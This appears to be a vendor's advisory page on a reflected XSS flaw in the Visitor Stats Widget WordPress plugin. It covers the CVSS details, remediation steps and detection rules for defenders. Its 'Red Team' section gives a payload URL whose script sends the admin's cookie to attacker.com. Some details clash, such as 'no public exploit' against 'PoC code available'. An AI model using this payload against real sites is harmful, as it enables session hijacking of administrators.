CVE-2025-68874
Executive Summary
CVE-2025-68874 is a reflected Cross-Site Scripting (XSS) vulnerability in the Visitor Stats Widget WordPress plugin, developed by Shahjada. The flaw exists in versions up to and including 1.5.0, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as Reflected XSS and has a CVSS score of 7.1 (High). No public exploit code or patch is currently available, making this a zero-day risk for all sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Since the plugin is unmaintained and no patch exists, the supply chain risk is elevated. Site owners must treat this as a compromised dependency and either remove the plugin or implement a virtual patch via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Some content modification possible.
- Availability Impact: Low (A:L) – Minor disruption possible.
Threat Level: High. Although the EPSS score is 0.0%, the lack of a patch and the widespread use of WordPress make this a prime target for automated scanning and phishing campaigns.
Deep Dive & Mechanics
The vulnerability resides in the visitor-stats-widget plugin's handling of HTTP GET parameters. The plugin likely echoes user-supplied data (e.g., a page or tab parameter) directly into the HTML response without proper sanitization or output encoding. Since the plugin is used in the WordPress admin area, the injected script executes in the context of the admin dashboard, bypassing many client-side protections.
Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://target.com/wp-admin/admin.php?page=visitor-stats&tab=<script>alert('XSS')</script> - Attacker sends the link to an admin via email, social engineering, or a compromised site.
- Admin clicks the link while authenticated.
- The plugin renders the injected script, which executes in the admin's browser.
- The script can steal cookies, create new admin users, or exfiltrate data.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
Vulnerable Code (PHP):
$tab = $_GET['tab'];
echo '<div class="tab-content">' . $tab . '</div>';
Patched Code (Hypothetical):
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : '';
echo '<div class="tab-content">' . esc_html($tab) . '</div>';
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Visitor Stats Widget <= 1.5.0 installed and activated.
- An authenticated admin user.
Exploit Payload:
https://target.com/wp-admin/admin.php?page=visitor-stats&tab=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- Host a listener on
attacker.comto capture cookies. - Send the crafted URL to the admin.
- Once the admin clicks, the script executes and sends the session cookie to the attacker.
- Use the stolen cookie to hijack the admin session.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>tags in thetabparameter. - Use a WAF to block requests with suspicious query strings.
Hardening:
- Immediately deactivate and delete the plugin if not essential.
- Implement a Content Security Policy (CSP) that blocks inline scripts.
- Use a WordPress security plugin that adds XSS protection.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin.phpwithpage=visitor-statsandtab=containing<script>,onerror=, orjavascript:. - Outbound connections to unknown domains from the WordPress admin dashboard.
File IOCs:
- Plugin file:
/wp-content/plugins/visitor-stats-widget/visitor-stats-widget.php(version <= 1.5.0) - Suspicious entries in WordPress admin logs (if logging is enabled).
Behavioral IOCs:
- Unexpected creation of new admin users.
- Unusual outbound HTTP requests from the server.
Detection Engineering
YARA Rule
rule CVE_2025_68874_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Visitor Stats Widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68874"
strings:
$param = "page=visitor-stats"
$xss1 = /tab=.*<script/i
$xss2 = /tab=.*onerror/i
$xss3 = /tab=.*javascript:/i
condition:
$param and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: Reflected XSS Attempt Against Visitor Stats Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-68874
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- "page=visitor-stats"
- "tab=<script"
- "tab=onerror"
- "tab=javascript:"
condition: selection
falsepositives:
- Legitimate use of the tab parameter with safe values
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-68874 Reflected XSS in Visitor Stats Widget";
flow:to_server,established;
content:"GET";
http_method;
content:"page=visitor-stats";
http_uri;
content:"tab=";
http_uri;
pcre:"/tab=.*(<script|onerror|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-68874;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Deactivate and delete the Visitor Stats Widget plugin from all WordPress installations.
- Scan the site for any unauthorized admin accounts or suspicious files.
- Rotate all admin passwords and session tokens.
Long-term Mitigation:
- If the plugin is essential, implement a virtual patch using a WAF (e.g., ModSecurity rule to block
tabparameter containing<script>). - Monitor the plugin's repository for an official patch.
- Educate administrators about phishing attacks targeting WordPress plugins.
Workaround:
- Add the following to
.htaccessto block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} (tab=.*<script|tab=.*onerror|tab=.*javascript:) [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.